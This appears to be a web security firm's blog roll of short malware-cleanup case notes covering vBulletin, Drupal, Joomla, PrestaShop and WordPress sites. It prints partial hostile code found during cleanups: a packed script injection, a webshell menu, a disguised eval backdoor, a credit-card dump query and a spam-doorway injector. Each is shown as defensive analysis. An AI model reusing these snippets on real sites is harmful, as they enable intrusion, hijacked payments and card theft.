Category: Uncategorized

Pop-up ads are annoying. Unfortunately many sites rely on them to pay for their operational expenses and even to make some extra cash. However when you see pop-ups on your own site and you never added such ads yourself, you know that something is wrong.

Recently, an owner of a vBulletin forum asked us to help remove unwanted popups from their site. We noticed that web pages made requests to is[.]gd/KHoxPa and is[.]gd/a8nxlP, which in turn loaded ad scripts from onclickads[.]net and go.pushnative[.]com.

Upon further investigation, we found the following code injected into clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){ ...skipped... 'script|type|write|document|text|src|KHoxPa|gd|is|javascript'.split('|'),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){ ... skipped...'script|write|document|src|is|a8nxlP|gd'.split('|'),0,{}))

We often see the JS Packer compression (it generates these eval(function(p,a,c,k,e,d)... scripts) used by hackers to obfuscate their malicious code.

The decoded version:

document .write("<script type='text/javascript' src='//is[.]gd/KHoxPa'></script>");document .write("<script src="//is[.]gd/a8nxlP"></script>");

After removing that code, the pop-ups have gone away. As usual, our work was not limited with cleaning that yuiloader-dom-event.js file. To make sure the site was safe and couldn’t be reinfected, we scanned it for backdoors and all other known security problems, helping the site owner identify security holes that should be closed. If you’re facing a similar problem with popups or other security issues, let us know.

Recently we wrote about how hackers hijacked payment process on an ecommerce site and redirected customers to a fake checkout page on a third-party site. This sort of attacks is not limited to online stores. Even non-commercial sites may be affected.

This week we cleaned a compromised site where hackers managed to upload backdoors and quite a few other malicious files. At first it looked like typical infection. But there was an interesting detail.

The site accepted donations via PayPal and the site owner noticed that the donation buttons looked broken. Further inspection revealed that the PayPal form code was partially replaced with someone else’s PayPal links.

<a href="https://www .paypal .com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=P93D6HEBBF5YQ"><div align="center"><input type="image" src="<?php echo get_bloginfo('template_directory');?>/images/donate_monthly.png" border="0" name="submit" /></div></form>

The beginning of the donation form code was replaced with the highlighted link. As you can see, this resulted in malformed HTML code - no opening <form> tag for the original form and and no closing </a> tag for the malicious PayPal link.

This site had four forms for four donation options. Each one was hijacked. And each link had individual hosted_button_id parameters: P93D6HEBBF5YQ, XU2RAC93FW7CW, HQWZ2QNHVJ7LW, 3JKHCV93PAATJ.

At the moment we started to work on the site, the PayPal links we already defunct and returned the "PayPal cannot process this transaction because of a problem with the seller's website" warnings when we tried to open them.

While this attack looks buggy in so many ways, it shows that once your site is compromised, hackers can easily hijack your donation and/or payment forms and links and re-route payments to their own accounts. If you accept any types of payments (orders, donations, etc) via your site, make sure that its integrity is not broken. Otherwise your money and money of your site visitors are at risk.

For more information about attacks that target online payments make sure to read the ecommerce security section of our blog.

Some people are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but it's a powerful CMS none the less. Compared to the way WordPress is structured, Drupal is a big monster! There are lots of included files, modules, and of course… a lot of places for malware to hide.

During the cleanup process, we usually find different types of malware, backdoors and redirects that show the variety of ways a hacked website can be used. Recently we cleaned a Drupal website that had a malicious webshell being called from the database.

We checked the log files of this website and found something really suspicious in there

164.x.x.x - - [22/Aug/2016:00:27:36 -0400] "GET /catalog/low-housing?y=/boot/grub/&view=/boot/grub/gcry_camellia.mod HTTP/1.1" 200 30078 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)" "PROXYBLOCKID:" "CACHEP:MISS" "POSTLOG:-"
31.x.x.x - - [22/Aug/2016:00:27:37 -0400] "GET /catalog/low-housing?y=%2Fboot%2Fgrub%2F&view=%2Fboot%2Fgrub%2Fgcry_camellia.mod HTTP/1.1" 200 30081 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "PROXYBLOCKID:" "CACHEP:MISS" "POSTLOG:-"

All the requests above, like ?y=/lib or ?y=/boot/grub are options built into the webshell being called by the attacker, here is another example:

hxxp://www.infectedwebsite.org/catalog/low-housing?y=/tmp/&x=configs
hxxp://www.infectedwebsite.org/catalog/low-housing?y=/tmp/&x=zone-h

We continued with a more thorough research process and we found the malicious code inside of the Drupal Database. The code was injected into the legitimate site pages when they were requested by the attacker.

A quick check in the code revealed the method which has been used by the attacker to call the functions he wanted to.

<div id="menu"><ul class="menu"><a href="?<?php echo "y=".$pwd;?>">Files</a><a href="?<?php echo "y=".$pwd;?>&amp;x=shell">Shell</a><a href="?<?php echo "y=".$pwd;?>&amp;x=upload">upload</a><li><a>Sym</a><ul><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sf">Symlink File</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sec">Symlink server</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=configs">Get configs</a></li></ul></li><a href="?<?php echo "y=".$pwd;?>&amp;x=php">Eval</a><a href="?<?php echo "y=".$pwd;?&gt;&amp;x=back">Remote</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mysql">Sql</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mass">Mass</a><a href="?<?php echo "y=".$pwd;?>&amp;x=brute">Brute</a><a href="?<?php echo "y=".$pwd;?>&amp;x=phpinfo">PHP</a><a href="?<?php echo "y=".$pwd;?>&amp;x=zone-h">Zone-H</a><li><a>Joomla</a><ul><li><a 
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){?><form action="?y=<?php echo $pwd;?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90>

If you have a Web Application Firewall in place, this could be easily prevented and with a good backup, reverted without further damaging your online presence. We also recommend checking http and ftp logs to find the entry point and avoid that from happening again, changing passwords and using a File Integrity Monitor Tool are also a good prevention measures.

In order to avoid detection and maintain access to compromised websites, attackers use different techniques to hide their malicious code.

During our cleanup investigation we identified an interesting malicious code that pretended to be a legit Joomla core file. In this particular case the attackers based their malware on the libraries/application/application.php file from the 1.5.26 version.

The malware acts like a regular backdoor, allowing arbitrary command execution on affected websites.

Here is a snippet of the code that reveals the backdoor:

...class JApplication{...function __construct($config = array())  {    ...    $this->_config = $config;    if(isset($_POST[$config['UID']])) {   $session = $this->parseSession($_POST[$config['UID']]);    } else if (isset($_GET[$config['UID']])) {   $session = $this->parseSession($_GET[$config['UID']]);    } else if (isset($_COOKIE[$config['UID']])) { $session = $this->parseSession($_COOKIE[$config['UID']]);    }     $this->sessionStart($session);  }...function sessionStart($session) {  if(!empty($session))    return       eval($session);}...}new JApplication(array ('UID' => 'UV0I82'));

What this code does is modifies the JApplication constructor to execute arbitrary PHP code passed in the UV0I82, parameter of POST or GET requests, or in the UV0I82 cookie. To make the backdoor functionality less prominent, hackers use two additional helper methods of the JAppication class: parseSession and sessionStart. Their names look benign and make sense in the context of starting a new Joomla session. However when you check the code of those methods, you’ll see that parseSession hides the base64 decoder and sessionStart is just a wrapper around the eval function. Since this backdoor file is not part of Joomla, it creates the JApplication object itself (the last line of the above snippet) passing the name of the request parameter that contains the malicious PHP code, which invokes the backdoor functionality.

The backdoor is being used on Joomla compromised websites in order to remain hidden, as the entire code is created to pretend to be a real Joomla core file. Untrained eyes can easily miss this backdoor.

These type of injections blend in with good code, which makes it harder to detect it. If you have a file integrity monitoring tool in place or similar security mechanism you should be able to easily identify and fix the issue. We also recommend regular backups so that you could restore your website if something happens. You can also count on us whenever you need a professional malware removal service.

During an incident response process performed in our client’s website, one of our analysts found a very interesting web shell. Our tools detected a suspicious file called "./v8.php" and after some time decoding it, we found out that it was a backdoor giving full shell access to the attackers.

The shell itself is very similar to the well known c99 webshell in which provides a variety of commands to manipulate the victim’s website (file structure) and database, also allowing him to execute commands the start malicious campaigns.

First, the encoded malware had an interesting comment at the top of the file:

"This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited."

Attackers usually use that technique in order to somewhat avoid detection and further investigation from a suspicious eye.

What was so interesting about it? Well... how it was named: "<title> SEU MADRUGA Shell Recoded </title>".

This (and this note's title) may not seem to be funny for anyone outside latin America, so let me explain: "Seu Madruga" or “Don Ramón”, as the character is originally called, is one of the characters from a 1970’s Mexican super popular TV show called "El Chavo del Ocho". This show was translated to portuguese and other 49 different languages and it is still very popular in Brazil, I would risk to say that every brazilian knows who “Seu Madruga” is, even if they weren't big fans of the show. And the note's title is based on one of his famous quotes.

So, when I saw that shell, this is the face that instantly came to my mind:

"Seu Madruga", an unemployed former boxer who gets beat up by a lady almost daily can now be found on your site. So, as we always say, keep your website update, always check the core files, use a monitoring system to keep an eye on everything and make sure to have your website behind a firewall.

We wrote multiple times about various attacks on e-commerce sites that try to steal credit card details of their customers. In most cases, all such attacks need is the shortest moment when the site processes the payment details. It can be an injected JavaScript that steals your data as you enter it in the order form. Or it can be a server side script that builds itself as a middleman between the code that receives the data from user and the code that sends that data to a secure payment gateway. Note, in both of these scenarios e-commerce sites don’t even try to save the credit card information on their servers. The mere fact that they have the payment form on their own domain is enough for hackers to hijack it once they break into the site.

However, hijacking a payment form means that hackers can only steal details of ongoing payments. They have to wait for people to buy something from the compromised sites. But if hacked sites use really poor security practices and save all the payment details on their own servers, the attackers can easily steal credit card details of their customers without having to wait for new victims.

For example, in some versions of PrestaShop, there are standard tables (ps_payment_cc and ps_order_payment) for storing all credit card information (card number, expiration, card holder, etc.). Unfortunately, some PrestaShop payment modules indeed save credit card details in the database, so hackers just couldn’t help taking advantage of this.

On a hacked PrestaShop site, we found a malicious script that connected to the database and dumped credit card numbers from ps_payment_cc and ps_order_payment tables.

...$Select0= mysql_query("SELECT id_order_payment,card_number,card_brand,card_expiration FROM ps_payment_cc");$Select1= mysql_query("SELECT id_order_payment,card_number,card_brand,card_expiration FROM ps_order_payment");…while($ccv1 = mysql_fetch_assoc($Select0)){     echo "      <tr>       <td>".$ccv1['id_order_payment']."</td>        <td>".$ccv1['card_number']."</td>     <td>".$ccv1['card_brand']."</td>      <td>".$ccv1['card_expiration']."</td>   </tr>  ";}...

If you have a e-commerce site, at all costs avoid saving customer payment details on your server. Modules that send payment information to third-party payment gateways and don’t save anything locally, are a bit safer, but still they can be easily hijacked to steal ongoing payments. For small sites, the safest option is to completely outsource payment processing to payment gateways. You should only ask for the information that you need to ship the order and then redirect the customers to a trusted payment services (PayPal, Authorize.net, Stripe, etc.) where they can finish the order process.

You can find more information about e-commerce security and PCI compliance on our blog where we regularly share information about how hackers compromise online stores and what it takes to make e-commerce sites secure.

Recently we cleaned a site that had a malicious wp-page.php file at the root of the WordPress site. It was responsible for pharma spam doorways created on this site. The file was quickly located and deleted. To our surprise, when we loaded that wp-page.php in a browser to verify that the problem was resolved, the malicious content was still there. And the headers stated that it was not a cached page.

We checked the file on server - indeed it was there with a very fresh modification date. We deleted the file again and a few seconds later the file was recreated. This behavior was typical for malware that used cronjobs to reinfect sites. However, when we checked the user’s crontab, we didn’t find any suspicious cron jobs there.

We continued with a more thorough server scan and found the malicious nav.php file inside the site’s active theme. The file injected links the wp-page.php links into the legitimate site pages when they were requested either by Googlebot or Bingbot.

...$movedb = user_min_browser($_SERVER['HTTP_USER_AGENT']);$movedb2 = 'moved';if ($movedb == $movedb2){ echo '<ul>';echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_1.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_1.'</a></li>';echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_2.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_2.'</a></li>';...echo '<li><a href="http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_20.'">http://'.$mydomain.'/wp-page.php?t='.$myrandom_id_20.'</a></li>';echo '</ul>';}

But that was not the most interesting part of the file. It was also responsible for creating the wp-page.php file. We are getting closer! Just need to figure out what executes that nav.php file, since it definitely didn’t belong to the theme.

A quick scan for nav.php revealed this code in the header.php of the same theme:

<?php include 'nav.php'; ?>

Hacker injected this line into header.php to make the malicious code executed every time any public site page is being loaded. It is mainly done to feed the spam to search engine crawlers, but it also recreates the wp-page.php on every web page load even if the file still exists, which works as a “delete protection”.

This case shows that a site cleanup is not finished when you remove the malicious files you found. After the initial cleanup you should verify that the malware is gone and then continue monitoring the site, because you might have missed some backdoors, cron jobs or security holes that will help hackers reinfect your site. This may happen within seconds as we described here, or it may take days before the malware returns. Only a reliable continuous security monitoring will help you verify that the malware is gone for good or will notify you if your site gets reinfected so that you can quickly mitigate the problem and investigate why the original cleanup was not enough to prevent reinfections.